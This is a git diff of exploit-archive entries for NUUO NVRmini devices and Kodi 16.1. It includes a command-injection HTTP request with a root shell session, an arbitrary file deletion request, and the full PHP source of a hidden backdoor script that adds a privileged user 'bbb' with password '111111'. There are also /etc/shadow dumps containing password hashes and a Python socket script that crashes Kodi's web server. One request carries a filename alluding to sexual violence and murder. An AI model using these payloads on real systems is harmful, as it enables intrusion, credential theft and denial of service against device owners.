Host: 10.0.0.17
|
||||||
|
Content-Length: 97
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Origin: http://10.0.0.17
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Referer: http://10.0.0.17/save_config.php
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
bfolder=%2Fmtd%2Fblock3&bfile=|ping%20-n%200%20localhost&inc_emap=no&inc_pos=no
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Sample session from commix:
|
||||||
|
|
||||||
|
Shell > whoami
|
||||||
|
root
|
||||||
|
Shell > ls
|
||||||
|
Default.ini EMap PatrolOpt003.xml PatrolOpt009.xml PatrolOpt015.xml access apcupsd authority.lic auto_upgrade.ini autoarchive.ini camera.ini cameraparam.ini cmsserver.ini cmsstat daylightsaving.ini ddns.ini dualstreaming.ini email.ini eventaction.ini ezNUUO iobox.ini lenssetting.ini lighttpd-inc.conf lighttpd.conf liveserver.ini notice.ini nuservice.conf pos proftpd-inc.conf pushnotification raid_info.xml recordingmode.ini schedule.ini scheduler_dio.ini scheduler_motion.ini smb-inc.conf version.xml
|
||||||
67
platforms/php/webapps/40214.txt
Executable file
67
platforms/php/webapps/40214.txt
Executable file
|
|
@ -0,0 +1,67 @@
|
||||||
|
|
||||||
|
NUUO Arbitrary File Deletion Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: NUUO Inc.
|
||||||
|
Product web page: http://www.nuuo.com
|
||||||
|
Affected version: <=3.0.8
|
||||||
|
|
||||||
|
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
data is safe, always.
|
||||||
|
|
||||||
|
Desc: Input passed to the 'filename' parameter in 'deletefile.php' is not properly
|
||||||
|
sanitised before being used to delete files. This can be exploited to delete files
|
||||||
|
with the permissions of the web server using their absolute path or via directory
|
||||||
|
traversal sequences passed within the affected POST/GET parameter.
|
||||||
|
|
||||||
|
==================================================================
|
||||||
|
/deletefile.php:
|
||||||
|
----------------
|
||||||
|
|
||||||
|
1: <?php
|
||||||
|
2: $filename=$_POST['filename'];
|
||||||
|
3: unlink($filename);
|
||||||
|
4: if (file_exists($filename))
|
||||||
|
5: echo "fail";
|
||||||
|
6: else echo "true";
|
||||||
|
7: ?>
|
||||||
|
|
||||||
|
==================================================================
|
||||||
|
|
||||||
|
Tested on: GNU/Linux 3.0.8 (armv7l)
|
||||||
|
GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
lighttpd/1.4.28
|
||||||
|
PHP/5.5.3
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2016-5353
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5353.php
|
||||||
|
|
||||||
|
|
||||||
|
14.01.2016
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
POST /deletefile.php HTTP/1.1
|
||||||
|
Host: 10.0.0.17
|
||||||
|
Content-Length: x
|
||||||
|
Origin: http://10.0.0.17
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
Accept: */*
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
filename=He_molested_murdered_and_mutilated_her.mp4
|
||||||
|
|
||||||
395
platforms/php/webapps/40215.txt
Executable file
395
platforms/php/webapps/40215.txt
Executable file
|
|
@ -0,0 +1,395 @@
|
||||||
|
|
||||||
|
NUUO Backdoor (strong_user.php) Remote Shell Access
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: NUUO Inc.
|
||||||
|
Product web page: http://www.nuuo.com
|
||||||
|
Affected version: <=3.0.8 (NE-4160, NT-4040)
|
||||||
|
|
||||||
|
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
data is safe, always.
|
||||||
|
|
||||||
|
Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo devices have a hidden PHP script
|
||||||
|
that when called, a backdoor user is created with poweruser privileges that is able
|
||||||
|
to read and write files on the affected device. The backdoor user 'bbb' when created
|
||||||
|
with the password '111111' by visiting 'strong_user.php' script is able to initiate a
|
||||||
|
secure shell session and further steal and/or destroy sensitive information.
|
||||||
|
|
||||||
|
==================================================================
|
||||||
|
/strong_user.php:
|
||||||
|
-------------------------------
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class ReadPasswd{
|
||||||
|
private $file;
|
||||||
|
private $fileData;
|
||||||
|
private $error;
|
||||||
|
|
||||||
|
function __construct($file) {
|
||||||
|
try{
|
||||||
|
if (is_file($file))
|
||||||
|
{
|
||||||
|
$this->fileData = file($file);
|
||||||
|
$this->file = $file;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new Exception("Couldn’t open file.");
|
||||||
|
}
|
||||||
|
} catch (Exception $e) {
|
||||||
|
$this->error[] = $e->getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function getAllHTML(){
|
||||||
|
foreach ($this->fileData as $content)
|
||||||
|
{
|
||||||
|
$temp = explode(':', $content);
|
||||||
|
$output .= "<b>Username: {$temp[0]} </b><br />";
|
||||||
|
$output .= "Validation: {$temp[1]} <br />";
|
||||||
|
$output .= "User Identifier: {$temp[2]} <br />";
|
||||||
|
$output .= "Group Identifier: {$temp[3]} <br />";
|
||||||
|
$output .= "Gecos Field: {$temp[4]} <br />";
|
||||||
|
$output .= "Home Directory: {$temp[5]} <br />";
|
||||||
|
$output .= "Shell: {$temp[6]} <br />";
|
||||||
|
$output .= "<br />";
|
||||||
|
}
|
||||||
|
return $output;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function getAllCLI() {
|
||||||
|
foreach ($this->fileData as $content)
|
||||||
|
{
|
||||||
|
$temp = explode(':', $content);
|
||||||
|
$output .= "Username: {$temp[0]} n";
|
||||||
|
$output .= "Validation: {$temp[1]} n";
|
||||||
|
$output .= "User Identifier: {$temp[2]} n";
|
||||||
|
$output .= "Group Identifier: {$temp[3]} n";
|
||||||
|
$output .= "Gecos Field: {$temp[4]} n";
|
||||||
|
$output .= "Home Directory: {$temp[5]} n";
|
||||||
|
$output .= "Shell: {$temp[6]} n";
|
||||||
|
$output .= "n";
|
||||||
|
}
|
||||||
|
return $output;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function searchUser($user,$data=0) {
|
||||||
|
try{
|
||||||
|
$data = array();
|
||||||
|
if (is_string($user))
|
||||||
|
{
|
||||||
|
foreach($this->fileData as $line)
|
||||||
|
{
|
||||||
|
$temp = explode(':', $line);
|
||||||
|
if (in_array($user,$temp))
|
||||||
|
{
|
||||||
|
if ($data) return 1;
|
||||||
|
$data['username'] = $temp[0];
|
||||||
|
$data['validation'] = $temp[1];
|
||||||
|
$data['user_identifier'] = $temp[2];
|
||||||
|
$data['group_identifier'] = $temp[3];
|
||||||
|
$data['gecos'] = $temp[4];
|
||||||
|
$data['home_directory'] = $temp[5];
|
||||||
|
$data['shell'] = $temp[6];
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new Exception('A search error has occured.');
|
||||||
|
}
|
||||||
|
} catch (Exception $e) {
|
||||||
|
$this->error[] = $e->getMessage();
|
||||||
|
}
|
||||||
|
return $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function getError() {
|
||||||
|
return $this->error;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function deleteUser($user) {
|
||||||
|
try{
|
||||||
|
if ($this->searchUser($user,1))
|
||||||
|
{
|
||||||
|
foreach ($this->fileData as $line)
|
||||||
|
{
|
||||||
|
$lines = explode(":",$line);
|
||||||
|
if (!in_array($user,$lines))
|
||||||
|
{
|
||||||
|
$final .= $line;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!file_put_contents($this->file,$final))
|
||||||
|
{
|
||||||
|
throw new Exception("Could not delete user.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new Exception("User doesn’t exist.");
|
||||||
|
}
|
||||||
|
} catch (Exception $e) {
|
||||||
|
echo $this->error[] = $e->getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
echo "Strong test ";
|
||||||
|
|
||||||
|
ma_getuser();
|
||||||
|
ma_getgroup();
|
||||||
|
|
||||||
|
$result = array('users' => array(), 'groups' => array());
|
||||||
|
|
||||||
|
echo "<br>";
|
||||||
|
echo $maUser;
|
||||||
|
echo "<br>";
|
||||||
|
echo $maGroup;
|
||||||
|
echo "<br>";
|
||||||
|
|
||||||
|
foreach($maGroup as $key =>$value)
|
||||||
|
{
|
||||||
|
$tmp = array();
|
||||||
|
$tmp['groupname'] = $maGroup[$key]->strGroupname;
|
||||||
|
$tmp['members'] = array();
|
||||||
|
echo "Group (" . $key . ") === " . $maGroup[$key]->strGroupname;
|
||||||
|
echo "<br><br>";
|
||||||
|
ma_getgroupmember($maGroup[$key]->strGroupname);
|
||||||
|
foreach ($maGroupmember as $mKey => $mValue)
|
||||||
|
{
|
||||||
|
echo " User ($mKey) ===> $mValue ";
|
||||||
|
echo "<br>";
|
||||||
|
array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);
|
||||||
|
}
|
||||||
|
//foreach($value as $userkey => $uservalue)
|
||||||
|
//{
|
||||||
|
// echo " User ($userkey) ===> $uservalue ";
|
||||||
|
// echo "<br>";
|
||||||
|
//}
|
||||||
|
echo "<br>";
|
||||||
|
echo implode(",", $tmp['members']);
|
||||||
|
echo "<br>";
|
||||||
|
$tmp['membersStr'] = implode(",", $tmp['members']);
|
||||||
|
array_push($result['groups'], $tmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
echo "<h1> Other </h1>";
|
||||||
|
$tmp = array();
|
||||||
|
$tmp['groupname'] = 'admin';
|
||||||
|
ma_getgroupmember($tmp['groupname']);
|
||||||
|
//ma_getgroupmember('');
|
||||||
|
$tmp['members'] = array();
|
||||||
|
foreach ($maGroupmember as $mKey => $mValue)
|
||||||
|
{
|
||||||
|
array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);
|
||||||
|
echo $maGroupmember[$mKey]->strUsername . "<br>";
|
||||||
|
}
|
||||||
|
$tmp['membersStr'] = implode(",", $tmp['members']);
|
||||||
|
array_push($result['groups'], $tmp);
|
||||||
|
|
||||||
|
|
||||||
|
echo "<h1> USER </h1>";
|
||||||
|
|
||||||
|
foreach ( $maUser as $key => $value)
|
||||||
|
{
|
||||||
|
$tmp = array();
|
||||||
|
$tmp['username'] = $maUser[$key]->strUsername;
|
||||||
|
$tmp['groups'] = array();
|
||||||
|
foreach ($result['groups'] as $gKey => $gValue)
|
||||||
|
{
|
||||||
|
if (in_array($tmp['username'], $gValue['members']))
|
||||||
|
array_push($tmp['groups'], $gValue['groupname']);
|
||||||
|
}
|
||||||
|
$tmp['groupsStr'] = implode(",", $tmp['groups']);
|
||||||
|
echo $tmp['username'] . "<br>";
|
||||||
|
echo $tmp['groupsStr'] . "<br>";
|
||||||
|
array_push($result['users'], $tmp);
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
echo "<h1> Read Passwd </h1>";
|
||||||
|
|
||||||
|
$passclass = new ReadPasswd('/etc/passwd');
|
||||||
|
echo $passclass->getAllHTML();
|
||||||
|
|
||||||
|
echo "<h1> add user </h1>";
|
||||||
|
//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H; passwd bbb 111111");
|
||||||
|
//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H");
|
||||||
|
$output = system("adduser bbb -G poweruser -D ");
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
$f = popen ("/usr/bin/passwd bbb","r");
|
||||||
|
$read = fread($f, 1024);
|
||||||
|
$out = fwrite($f,"111111\n");
|
||||||
|
echo $read . " read 111 ,,, $out <br>";
|
||||||
|
$read = fread($f, 1024);
|
||||||
|
$out = fwrite($f,"111111\n");
|
||||||
|
echo $read . " read 222 ,,, $out <br>";
|
||||||
|
pclose($f);
|
||||||
|
//echo $output . " kkk <br>";
|
||||||
|
*/
|
||||||
|
$descriptorspec = array(
|
||||||
|
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||||||
|
1 => array("pipe", "w") // stdout is a pipe that the child will write to
|
||||||
|
);
|
||||||
|
|
||||||
|
$process = proc_open('/usr/bin/passwd bbb', $descriptorspec, $pipes);
|
||||||
|
if (is_resource($process))
|
||||||
|
{
|
||||||
|
$read = fread($pipes[1], 1024);
|
||||||
|
$out = fwrite($pipes[0],"111111\n");
|
||||||
|
echo $read . " read 111 ,,, $out <br>";
|
||||||
|
$read = fread($pipes[1], 1024);
|
||||||
|
$out = fwrite($pipes[0],"111111\n");
|
||||||
|
echo $read . " read 111 ,,, $out <br>";
|
||||||
|
|
||||||
|
fclose($pipes[0]);
|
||||||
|
fclose($pipes[1]);
|
||||||
|
}
|
||||||
|
proc_close($process);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//$handle = popen("/bin/ls", "r");
|
||||||
|
//$read = fread($handle, 1024);
|
||||||
|
//echo $read;
|
||||||
|
//pclose($handle);
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
==================================================================
|
||||||
|
|
||||||
|
Tested on: GNU/Linux 3.0.8 (armv7l)
|
||||||
|
GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
lighttpd/1.4.28
|
||||||
|
PHP/5.5.3
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2016-5354
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5354.php
|
||||||
|
|
||||||
|
|
||||||
|
14.01.2016
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
#1
|
||||||
|
Read of /etc/shadow file before backdoor was enabled:
|
||||||
|
------------------------------------------------------
|
||||||
|
|
||||||
|
root@nuuo:~# cat /etc/shadow
|
||||||
|
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
|
||||||
|
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
|
||||||
|
bin:*:14495:0:99999:7:::
|
||||||
|
daemon:*:14495:0:99999:7:::
|
||||||
|
adm:*:14495:0:99999:7:::
|
||||||
|
lp:*:14495:0:99999:7:::
|
||||||
|
sync:*:14495:0:99999:7:::
|
||||||
|
shutdown:*:14495:0:99999:7:::
|
||||||
|
halt:*:14495:0:99999:7:::
|
||||||
|
mail:*:14495:0:99999:7:::
|
||||||
|
uucp:*:14495:0:99999:7:::
|
||||||
|
operator:*:14495:0:99999:7:::
|
||||||
|
games:*:14495:0:99999:7:::
|
||||||
|
gopher:*:14495:0:99999:7:::
|
||||||
|
ftp:*:14495:0:99999:7:::
|
||||||
|
nobody:*:14495:0:99999:7:::
|
||||||
|
vcsa:!!:14564::::::
|
||||||
|
sshd:!!:14564::::::
|
||||||
|
guest::14564:0:99999:7:::
|
||||||
|
|
||||||
|
|
||||||
|
#2
|
||||||
|
Issuing GET request to the script:
|
||||||
|
-----------------------------------
|
||||||
|
|
||||||
|
GET http://10.0.0.17/strong_user.php HTTP/1.1
|
||||||
|
|
||||||
|
|
||||||
|
#3
|
||||||
|
Read of /etc/shadow file after backdoor was enabled:
|
||||||
|
-----------------------------------------------------
|
||||||
|
|
||||||
|
root@nuuo:~# cat /etc/shadow
|
||||||
|
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
|
||||||
|
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
|
||||||
|
bin:*:14495:0:99999:7:::
|
||||||
|
daemon:*:14495:0:99999:7:::
|
||||||
|
adm:*:14495:0:99999:7:::
|
||||||
|
lp:*:14495:0:99999:7:::
|
||||||
|
sync:*:14495:0:99999:7:::
|
||||||
|
shutdown:*:14495:0:99999:7:::
|
||||||
|
halt:*:14495:0:99999:7:::
|
||||||
|
mail:*:14495:0:99999:7:::
|
||||||
|
uucp:*:14495:0:99999:7:::
|
||||||
|
operator:*:14495:0:99999:7:::
|
||||||
|
games:*:14495:0:99999:7:::
|
||||||
|
gopher:*:14495:0:99999:7:::
|
||||||
|
ftp:*:14495:0:99999:7:::
|
||||||
|
nobody:*:14495:0:99999:7:::
|
||||||
|
vcsa:!!:14564::::::
|
||||||
|
sshd:!!:14564::::::
|
||||||
|
guest::14564:0:99999:7:::
|
||||||
|
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::
|
||||||
|
|
||||||
|
|
||||||
|
#4
|
||||||
|
The backdoor account is able to read the /etc/shadow file:
|
||||||
|
-----------------------------------------------------------
|
||||||
|
|
||||||
|
login as: bbb
|
||||||
|
bbb@10.0.0.17's password:
|
||||||
|
-sh-3.2$ id
|
||||||
|
Using fallback suid method
|
||||||
|
uid=1004(bbb) gid=1000(poweruser) groups=1000(poweruser)
|
||||||
|
-sh-3.2$ cat /etc/shadow
|
||||||
|
Using fallback suid method
|
||||||
|
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
|
||||||
|
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
|
||||||
|
bin:*:14495:0:99999:7:::
|
||||||
|
daemon:*:14495:0:99999:7:::
|
||||||
|
adm:*:14495:0:99999:7:::
|
||||||
|
lp:*:14495:0:99999:7:::
|
||||||
|
sync:*:14495:0:99999:7:::
|
||||||
|
shutdown:*:14495:0:99999:7:::
|
||||||
|
halt:*:14495:0:99999:7:::
|
||||||
|
mail:*:14495:0:99999:7:::
|
||||||
|
uucp:*:14495:0:99999:7:::
|
||||||
|
operator:*:14495:0:99999:7:::
|
||||||
|
games:*:14495:0:99999:7:::
|
||||||
|
gopher:*:14495:0:99999:7:::
|
||||||
|
ftp:*:14495:0:99999:7:::
|
||||||
|
nobody:*:14495:0:99999:7:::
|
||||||
|
vcsa:!!:14564::::::
|
||||||
|
sshd:!!:14564::::::
|
||||||
|
guest::14564:0:99999:7:::
|
||||||
|
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::
|
||||||
|
-sh-3.2$
|
||||||
54
platforms/windows/dos/40208.py
Executable file
54
platforms/windows/dos/40208.py
Executable file
|
|
@ -0,0 +1,54 @@
|
||||||
|
# Exploit Title: Kodi 16.1 Web Server Remote DoS
|
||||||
|
# Date: 06/08/2016
|
||||||
|
# Exploit Author: Guillaume Kaddouch
|
||||||
|
# Twitter: @gkweb76
|
||||||
|
# Blog: https://networkfilter.blogspot.com
|
||||||
|
# GitHub: https://github.com/gkweb76/exploits
|
||||||
|
# Vendor Homepage: https://kodi.tv/
|
||||||
|
# Software Link: http://mirrors.kodi.tv/releases/win32/kodi-16.1-Jarvis.exe
|
||||||
|
# Version: 16.1
|
||||||
|
# Tested on: Windows 7 Family x64 (FR)
|
||||||
|
# Category: DoS
|
||||||
|
|
||||||
|
"""
|
||||||
|
Disclosure Timeline:
|
||||||
|
--------------------
|
||||||
|
2016-08-02: Vulnerability discovered
|
||||||
|
2016-08-04: Vendor contacted
|
||||||
|
2016-08-04: Developper answered. Kodi v16 is End Of Life and will not be fixed.
|
||||||
|
2016-08-06: Exploit published.
|
||||||
|
|
||||||
|
|
||||||
|
Description :
|
||||||
|
-------------
|
||||||
|
A remote Denial Of Service exists in Kodi 16.1 (Jarvis) embedded web server when sending a specially crafted GET request.
|
||||||
|
The web server is disabled by default.
|
||||||
|
|
||||||
|
|
||||||
|
Instructions:
|
||||||
|
-------------
|
||||||
|
- Starts Kodi, and enable the web server in System, Services, Web server.
|
||||||
|
- Run this exploit locally or from your remote attacking machine.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
|
||||||
|
host = "192.168.135.129"
|
||||||
|
port = 8080
|
||||||
|
|
||||||
|
junk = '../' * 10
|
||||||
|
buffer = "GET " + junk + " HTTP/1.1\r\n"
|
||||||
|
buffer += "\r\n\r\n"
|
||||||
|
|
||||||
|
try:
|
||||||
|
print "[*] Connecting to %s:%d" % (host, port)
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.connect((host, port))
|
||||||
|
|
||||||
|
print "[*] Sending buffer... (%d bytes)" % len(buffer)
|
||||||
|
s.send(buffer)
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
print "[*] Done."
|
||||||
|
except:
|
||||||
|
print "[-] Error connecting"
|
||||||
Loading…
Add table
Reference in a new issue